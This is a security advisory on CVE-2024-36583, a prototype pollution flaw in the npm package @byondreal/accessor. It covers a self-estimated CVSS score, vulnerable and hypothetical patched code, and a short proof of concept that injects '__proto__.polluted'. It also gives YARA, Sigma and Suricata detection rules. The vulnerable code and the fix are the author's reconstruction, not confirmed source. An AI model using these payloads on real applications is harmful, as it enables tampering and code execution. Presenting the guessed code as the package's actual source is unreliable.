CVE-2024-36583

Executive Summary

CVE-2024-36583 identifies a critical Prototype Pollution vulnerability in the @byondreal/accessor npm package, version 1.0.0 and earlier. This flaw allows an attacker to inject arbitrary properties into the global Object.prototype, leading to potential arbitrary code execution. The vulnerability resides in the package's index module, which fails to sanitize user-controlled input during property assignment. Given the package's role in object property access and manipulation, exploitation can compromise the integrity of the entire application runtime, enabling privilege escalation, data tampering, or remote code execution.

Supply Chain & Package Security

This vulnerability affects the npm ecosystem. The @byondreal/accessor package is a utility for accessing nested object properties. If used in server-side or client-side applications, a successful Prototype Pollution attack can propagate to all objects, bypassing security controls. Developers should immediately audit their dependencies for usage of this package and apply sandboxing or input validation until a patch is available.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of Prototype Pollution and potential for arbitrary code execution, the following assessment is made:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – potential data exposure.
• Integrity (I): High (H) – arbitrary property injection.
• Availability (A): High (H) – could lead to denial of service or code execution.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – due to low complexity and high impact.

Deep Dive & Mechanics

Prototype Pollution occurs when an attacker can modify Object.prototype via a recursive merge or assignment operation. In @byondreal/accessor, the index module likely performs deep property access without checking for __proto__, constructor.prototype, or prototype keys. For example, if the package uses a function like:

function set(obj, path, value) {
  const keys = path.split('.');
  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    if (!current[keys[i]]) current[keys[i]] = {};
    current = current[keys[i]];
  }
  current[keys[keys.length - 1]] = value;
}

An attacker can supply a path like __proto__.polluted or constructor.prototype.polluted to inject a property into the global prototype. Once polluted, all objects in the application inherit the injected property, potentially altering behavior or enabling code execution via property-based sinks (e.g., eval, Function constructor, or template engines).

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.0.0):

// @byondreal/accessor/index.js
module.exports = {
  set: function(obj, path, value) {
    const keys = path.split('.');
    let current = obj;
    for (let i = 0; i < keys.length - 1; i++) {
      if (!current[keys[i]]) current[keys[i]] = {};
      current = current[keys[i]];
    }
    current[keys[keys.length - 1]] = value;
  }
};

Patched Code (hypothetical fix):

// Patched version
const isPrototypePollution = (key) => key === '__proto__' || key === 'constructor' || key === 'prototype';

module.exports = {
  set: function(obj, path, value) {
    const keys = path.split('.');
    let current = obj;
    for (let i = 0; i < keys.length - 1; i++) {
      if (isPrototypePollution(keys[i])) {
        throw new Error('Prototype pollution detected');
      }
      if (!current[keys[i]]) current[keys[i]] = {};
      current = current[keys[i]];
    }
    if (isPrototypePollution(keys[keys.length - 1])) {
      throw new Error('Prototype pollution detected');
    }
    current[keys[keys.length - 1]] = value;
  }
};

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

// Exploit for CVE-2024-36583
const accessor = require('@byondreal/accessor');

// Create a target object
let obj = {};

// Pollute Object.prototype via __proto__
accessor.set(obj, '__proto__.polluted', 'true');

// Verify pollution
console.log({}.polluted); // Output: 'true'

// Arbitrary code execution via constructor.prototype
accessor.set(obj, 'constructor.prototype.exec', 'console.log("RCE")');
// If the application later uses eval or Function on polluted property, code executes.

Lab Setup:

1. Create a Node.js project: npm init -y
2. Install vulnerable package: npm install @byondreal/accessor@1.0.0
3. Run the PoC script: node exploit.js

Blue Team

Detection & Prevention:

• Input Validation: Sanitize all user-supplied paths to block __proto__, constructor, and prototype.
• Use Object.create(null): Create objects without a prototype chain to prevent pollution.
• Freeze Prototype: Object.freeze(Object.prototype) to prevent modifications.
• Monitor for Anomalies: Watch for unexpected properties on objects (e.g., polluted).

Indicators of Compromise (IOCs)

• Network: Requests containing __proto__, constructor.prototype, or prototype in JSON or query parameters.
• File System: Presence of @byondreal/accessor version 1.0.0 in package.json or node_modules.
• Runtime: Unexpected global properties like polluted or exec on plain objects.
• Logs: Errors related to prototype pollution or unexpected object behavior.

Detection Engineering

YARA Rule

rule CVE_2024_36583_Prototype_Pollution {
  meta:
    description = "Detects attempts to exploit CVE-2024-36583 in @byondreal/accessor"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2024-36583"
  strings:
    $proto = "__proto__" nocase
    $constructor = "constructor.prototype" nocase
    $prototype = ".prototype." nocase
    $accessor = "@byondreal/accessor" nocase
  condition:
    any of ($proto, $constructor, $prototype) and $accessor
}

Sigma Rule

title: CVE-2024-36583 Prototype Pollution Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing prototype pollution payloads targeting @byondreal/accessor
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: generic
detection:
  selection:
    - c-uri|contains: '__proto__'
    - c-uri|contains: 'constructor.prototype'
    - c-uri|contains: '.prototype.'
    - request_body|contains: '__proto__'
    - request_body|contains: 'constructor.prototype'
    - request_body|contains: '.prototype.'
  condition: selection
falsepositives:
  - Legitimate use of prototype in documentation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36583 Prototype Pollution Attempt"; flow:to_server; content:"__proto__"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-36583 Prototype Pollution via constructor"; flow:to_server; content:"constructor.prototype"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-36583 Prototype Pollution in body"; flow:to_server; content:"__proto__"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or replace @byondreal/accessor with a patched alternative. If not possible, implement input validation to block __proto__, constructor, and prototype keys.
2. Long-term Fix: Use libraries that are actively maintained and have built-in prototype pollution protection (e.g., lodash.set with safe checks).
3. Runtime Protection: Apply Object.freeze(Object.prototype) in critical environments.
4. Monitor: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
5. Patch Status: Since no official patch exists, consider forking the package and applying the fix shown in the "Patched Code" section.

Valters IT
DevSecOps & Cyber Threat Intelligence